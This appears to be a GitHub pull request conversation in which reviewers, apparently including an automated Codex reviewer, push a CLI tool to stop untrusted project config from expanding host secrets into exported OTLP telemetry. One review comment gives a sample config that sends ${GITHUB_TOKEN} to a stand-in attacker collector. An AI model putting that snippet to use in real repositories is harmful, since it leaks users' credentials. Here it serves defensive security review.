Repository navigation
Conversation
Codex Review Summary: ✅ CompletedThis comment shows the latest Codex review activity on this pull request.
ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings. |
|
I reviewed the current head ( Security concern: automatically discovered project configuration can copy host secrets into exported telemetry.
For example, an untrusted repository could contain: env:
OTEL_EXPORTER_OTLP_ENDPOINT: https://collector.attacker.invalid
OTEL_EXPORTER_OTLP_PROTOCOL: http/protobuf
OTEL_RESOURCE_ATTRIBUTES: leaked=${GITHUB_TOKEN}If Project configuration could already configure a telemetry destination before this PR. The additional capability introduced here is reading an arbitrary host environment secret and inserting it into the exported data. Could we restrict host-environment expansion to trusted user configuration or explicitly trusted project configuration, with an opt-in/trust mechanism for automatically discovered project files? Merely restricting destination keys to Validation: |
zpzjzj
left a comment
There was a problem hiding this comment.
Requesting changes on 5ad1dce for the unresolved configuration trust boundary described in the existing review. ApplyEnv still expands arbitrary host variables without preserving whether the source was trusted user config or an automatically discovered project file. Please restrict expansion to trusted/explicitly trusted configuration and add a project-config regression test before merging. This is a source review; no external secret-transmission test was performed.
|
Fixed in 4e6b376, with CLI regression coverage in the follow-up commits. Current head is d6d332d. Each merged env value now keeps its source. Only user-level config and files explicitly selected with The regression tests cover the project-config example with a synthetic token and telemetry exporters disabled, plus automatic discovery and explicit opt-in through the CLI. CI is green. The docs and PR body also call out the remaining destination-policy limitation: a project endpoint override can receive credentials expanded from trusted user config. That broader policy is outside this fix. |
|
Thanks for addressing host-environment expansion in project configuration. The final CI checks, including Windows, Docker, and CodeQL, have passed. The remaining concern is that credentials from trusted configuration can still be sent to an endpoint supplied by untrusted project configuration. As acknowledged, the current fix does not prevent this. Before merging, please define the endpoint trust policy and add a regression test covering trusted credentials combined with an untrusted endpoint. If this is deferred, please track it separately and obtain explicit maintainer acceptance of the remaining risk. My request for changes remains in place pending that decision. |
|
Thanks for adding the regression test. The current patch closes the credential-redirection path by ignoring the entire project config, but that also means existing In particular, please keep Two related config-selection cases are worth fixing before granting expansion permission: resolve |
|
Thanks for restoring automatic loading of I’d keep this in Changes requested for two remaining OTLP cases:
The current regression tests check the environment before SDK initialization. Could we add a loopback test with a synthetic token that verifies the trusted collector receives the header and the project-supplied collector does not, plus a mixed-signal regression for the second case? This can stay scoped to newly expanded OTLP headers; it doesn’t need to reopen the broader endpoint policy. |
A project-only metrics endpoint no longer withholds a newly expanded traces header whose own route is trusted. A signal header now follows that signal's effective route: its own endpoint, protocol and TLS options, then the shared ones it does not override from a trusted source. The shared header stays conservative. Project SSL_CERT_FILE and SSL_CERT_DIR defaults now count as transport inputs for every signal, like proxy settings. Loopback collector tests run the real start-up path and check which collector receives the synthetic token.
A trusted signal endpoint that expanded to an empty or blank value still counted as overriding the shared project endpoint, while the exporter fell back to the project one with the expanded header attached. Resolve every default before the guard runs and treat empty and blank values as unset, as exporters do. The loopback tests no longer depend on telemetry settings inherited from the shell.
An empty or blank project option for a route key still counts as project routing: in the merged config it has already replaced a trusted value for the same key, and the exporter then falls back to another route. An empty value was skipped before the guard saw it. Loopback and unit cases pin both. Use delimited collector placeholders in the loopback fixtures so they cannot rewrite other keys.
|
Thanks for the update. Automatic project defaults still load, the TLS-root settings are now covered, and the mixed-signal and loopback tests address the cases from my previous review. I’d keep this in Changes requested for one remaining fallback case. Could we withhold the newly expanded header when the exporter might still fall back to a project-provided option? A valid override from the process environment should work just as well as one from user config; no new file or explicit trust setting should be required. A loopback regression for a rejected, non-empty signal endpoint and a regression for an invalid signal CA would cover the gap without changing automatic project loading. |
|
Thanks for addressing the fallback case. The rejected endpoint and TLS-file cases are now covered, valid process overrides still work, and automatic project defaults remain unchanged. I found one remaining issue in the error path. Could we install newly expanded OTLP headers only after the ordinary defaults, including transport overrides, have been applied successfully? A regression that checks that no newly expanded header remains after an environment-write failure would cover the gap without changing project auto-loading. |
Summary
Preserve automatic
.skill-up.yamldefaults while adding trusted environment expansion for user and explicitly selected configuration.${VAR}once against the original process environment in trustedenvvalues only. Existing process variables, including empty values, still win; unset references remain literal.--configbefore applying defaults and keepinit --configcopy-only. Ignore relativeXDG_CONFIG_HOMEfor both discovery and the defaultinitoutput path.Header guard
A signal-specific header follows that signal's route. For example, a project-only metrics endpoint leaves a trusted trace header available. A shared header can reach several signals, so a project route setting for any signal withholds it. Project proxy settings and system TLS root settings apply across signals.
The guard checks the effective value from the process, structured settings, or trusted config expansion. A trusted HTTP(S) endpoint must parse with a hostname and a usable port. The guard recognizes the protocol values
grpcandhttp/protobufand the insecure flag valuestrueandfalse. A signal-specific CA, client certificate, or key path cannot shield an expanded header from shared TLS settings supplied by the project. An exporter reads those files later and may fall back if loading fails.Empty and blank project routing values still count because they can displace a trusted default during config merging.
Ordinary environment defaults are installed before expanded OTLP headers. If an ordinary write fails, the exporter starts without any header newly expanded by this config.
Tests
The loopback tests exercise trusted and project collectors, mixed signals, and TLS-root settings. The rejected-endpoint regression checks that the expanded marker is absent before starting the exporter, then verifies that the fallback collector receives the trace without the marker.
The config tests cover accepted and rejected endpoints from both the process environment and trusted config, malformed and missing CA files, and protocol and insecure flag overrides.
An invalid environment key exercises the partial-write path and checks that the expanded header stays unset.
Verification
On
9856410,make verify, the Go race suite, 22 Codex plugin unit tests,make e2eand the docs build passed with Go 1.26.10. Local verification skipped the bundled skill evals and live provider tests.